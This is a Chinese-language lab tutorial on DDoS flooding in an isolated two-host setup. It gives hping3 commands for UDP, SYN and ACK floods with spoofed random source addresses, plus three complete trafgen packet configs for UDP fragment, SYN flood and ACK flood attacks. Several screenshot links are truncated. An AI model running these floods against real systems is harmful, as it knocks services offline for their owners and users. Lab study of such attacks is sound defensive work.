DDOS流量攻擊
實驗目的
學習基本的DDOS工具使用
hping3
netsniffer – trafgen
實驗環境
包含2臺主機
attact 作為攻擊方,使用Centos7.2
windows_server ,用於被攻擊,同時抓包分析流量 ,任意版本均可。安裝wireshark,用於抓包
實驗步驟
使用hping
hping與ping的區別:典型的ping程式使用的是ICMP回顯請求來測試,而HPING可以使用任何IP報文,包括ICMP、TCP、UDP、RAWSOCKET
檢視幫助資訊
hping --help
1、使用hping3進行 udp flood攻擊
hping3 --flood --rand-source --udp -p 目標埠 目標IP
hping3 --flood --rand-source --udp -c 100 -p 目標埠 目標IP
–flood : sent packets as fast as possible(儘可能快地傳送資料包)
–rand-source: random source address(隨機源IP地址)
–udp : UDP mode
-p –destport: destination port (default 0) (目標埠)
-c 100 傳送100個數據包,用於實驗,不加可能會宕機
執行命令時,抓包檢視傳送資料。並觀察目標機器網路
抓包結果:
靶機狀態:
![1540446645489](Picture/15
2、使用hping 進行syn_flood攻擊
hping3 --flood –-rand-source -S -c 100 -p 目標埠 目標IP
-S:傳送SYN標記
攻擊後,在windows上使用 netstat -ano | find "SYN"命令,檢視現象
![1540447324931](Picture/15404
3、使用hping 進行ack_flood攻擊
hping3 --flood –-rand-source -A -c 100 -p 目標埠 目標IP
-A:傳送ACK標記
試試同時發起syn_flood與ack_flood
同時發起兩種攻擊時,靶機情況
![1540448131109](Picture/154044
使用netsniff的trafgen元件
實驗時,修改目的IP和mac地址即可。
4、使用trafgen進行udp 碎片攻擊
small_frag.traf為配置模板,需要修改 目標IP地址 目標埠 目標MAC地址等引數
trafgen --cpp --dev 介面名 --conf small_frag.traf -n 100 --verbose
–cpp Run packet config through C preprocessor
–conf 配置檔案
–dev 介面名,通過ifconfig可以檢視
–verbose 冗餘傳送
-n 100 傳送100個數據包,用於實驗,不加可能會宕機
實驗結果:
![1540452143959](Picture/154045
![1540452187176](Pict
5、使用trafgen進行syn_flood攻擊
trafgen --cpp --dev 介面名 --conf syn_flood.traf -n 100 --verbose
實驗結果
![1540451350027](Picture/15404513
6、使用trafgen進行ack_flood攻擊
trafgen --cpp --dev 介面名 --conf ack_flood.traf -n 100 --verbose
攻擊結果:
試試同時發起syn_flood與ack_flood
安裝實驗工具hping3
wget https://github.com/antirez/hping/archive/master.zip
unzip master
cd hping-master
yum install libpcap-devel
ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h
yum -y install tcl tcl-devel
./configure
make && make install
參考:安裝hping的一些坑
安裝實驗工具 netsniff-ng
yum install netsniff-ng -y
trafgen的相關使用可以參考這個
hping 官方help
附件1
small_frag.traf
/* UDP fragment DoS attack
* Command example:
* trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/
// trafgen packet conf for fragment DoS attack
// -------------------------------------------
// - Need to randomize the frag ID
// - Use trafgen support for dynamic checksum recalc
//
// Checksum cannot be fixed with iptables:
// iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill
// Because traffic is injected a place which don't have any NF hooks
//
{
// --- Ethernet Header ---
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, // MAC Destination
0x90, 0xe2, 0xba, 0x0a, 0x56, 0xb4, // MAC Source
const16(0x0800), // Protocol
// --- IP Header ---
// IPv4 Version(4-bit) + IHL(4-bit), TOS
0b01000101, 0x00,
// IPv4 Total Len
const16(40),
// ID, notice runtime dynamic random
drnd(2),
// IPv4 3-bit flags + 13-bit fragment offset
// 001 = More fragments
0b00100000, 0b00000000,
64, //TTL
17, // Proto UDP
// Dynamic IP Checksum (notice offsets are zero indexed)
csumip(14, 33),
192, 168, 164, 188, // Source IP
192, 168, 164, 1, // Dest IP
// --- UDP Header ---
// As this is a fragment the below stuff does not matter too much
const16(48054), // src port
const16(62148), // dst port
const16(20), // UDP length
// UDP checksum can be dyn calc via csumudp(offset IP, offset TCP)
// which is csumudp(14, 34), but for UDP its allowed to be zero
const16(0),
// Payload
'A', fill(0x41, 11),
}
附件2
syn_flood.traf
/* TCP SYN attack ( 64byte )
* Command example:
* trafgen --cpp --dev em2 --conf synflood.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/
#define ETH_P_IP 0x0800
#define SYN (1 << 1)
#define ACK (1 << 4)
#define ECN (1 << 6)
{
/* --- Ethernet Header --- */
/* NEED ADJUST */
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, # MAC Destination
0x00, 0x12, 0xc0, drnd(3), # MAC Source
const16(ETH_P_IP),
/* IPv4 Version, IHL, TOS */
0b01000101, 0,
/* IPv4 Total Len */
const16(46),
/* IPv4 Ident */
drnd(2),
//const16(2),
/* IPv4 Flags, Frag Off */
0b01000000, 0,
/* IPv4 TTL */
64,
/* Proto TCP */
0x06,
/* IPv4 Checksum (IP header from, to) */
csumip(14, 33),
/* NEED ADJUST */
10, 10, 88, drnd(1), # Source IP
192, 168, 164, 1, # Dest IP
/* TCP Source Port */
drnd(2),
/* TCP Dest Port */
const16(1033),
/* TCP Sequence Number */
drnd(4),
/* TCP Ackn. Number */
const32(0), /* NOTICE ACK==zero with SYN packets */
/* TCP Header length + Flags */
//const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */
//const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */
const16((0x5 << 12) | SYN) /* TCP SYN Flag */
//const16((0x5 << 12) | ACK) /* TCP ACK Flag */
/* Window Size */
const16(16),
/* TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
const16(0), /*PAD*/
/* Data */
"SYNswf"
}
附件3
ack_flood.traf
/* TCP ACK attack ( 64byte )
* Command example:
* trafgen --cpp --dev em2 --conf ackflood.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/
#define ETH_P_IP 0x0800
#define SYN (1 << 1)
#define ACK (1 << 4)
#define ECN (1 << 6)
{
/* --- Ethernet Header --- */
/* NEED ADJUST */
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, # MAC Destination
0x00, 0x12, 0xc0, drnd(3), # MAC Source
const16(ETH_P_IP),
/* IPv4 Version, IHL, TOS */
0b01000101, 0,
/* IPv4 Total Len */
const16(46),
/* IPv4 Ident */
drnd(2),
//const16(2),
/* IPv4 Flags, Frag Off */
0b01000000, 0,
/* IPv4 TTL */
64,
/* Proto TCP */
0x06,
/* IPv4 Checksum (IP header from, to) */
csumip(14, 33),
/* NEED ADJUST */
10, 10, 88, drnd(1), # Source IP
192, 168, 164, 128, # Dest IP
/* TCP Source Port */
drnd(2),
/* TCP Dest Port */
const16(80),
/* TCP Sequence Number */
drnd(4),
/* TCP Ackn. Number */
drnd(4),
/* TCP Header length + Flags */
//const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */
//const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */
//const16((0x5 << 12) | SYN) /* TCP SYN Flag */
const16((0x5 << 12) | ACK) /* TCP ACK Flag */
/* Window Size */
const16(16),
/* TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
const16(0), /*PAD*/
/* Data */
"ACKswf"
}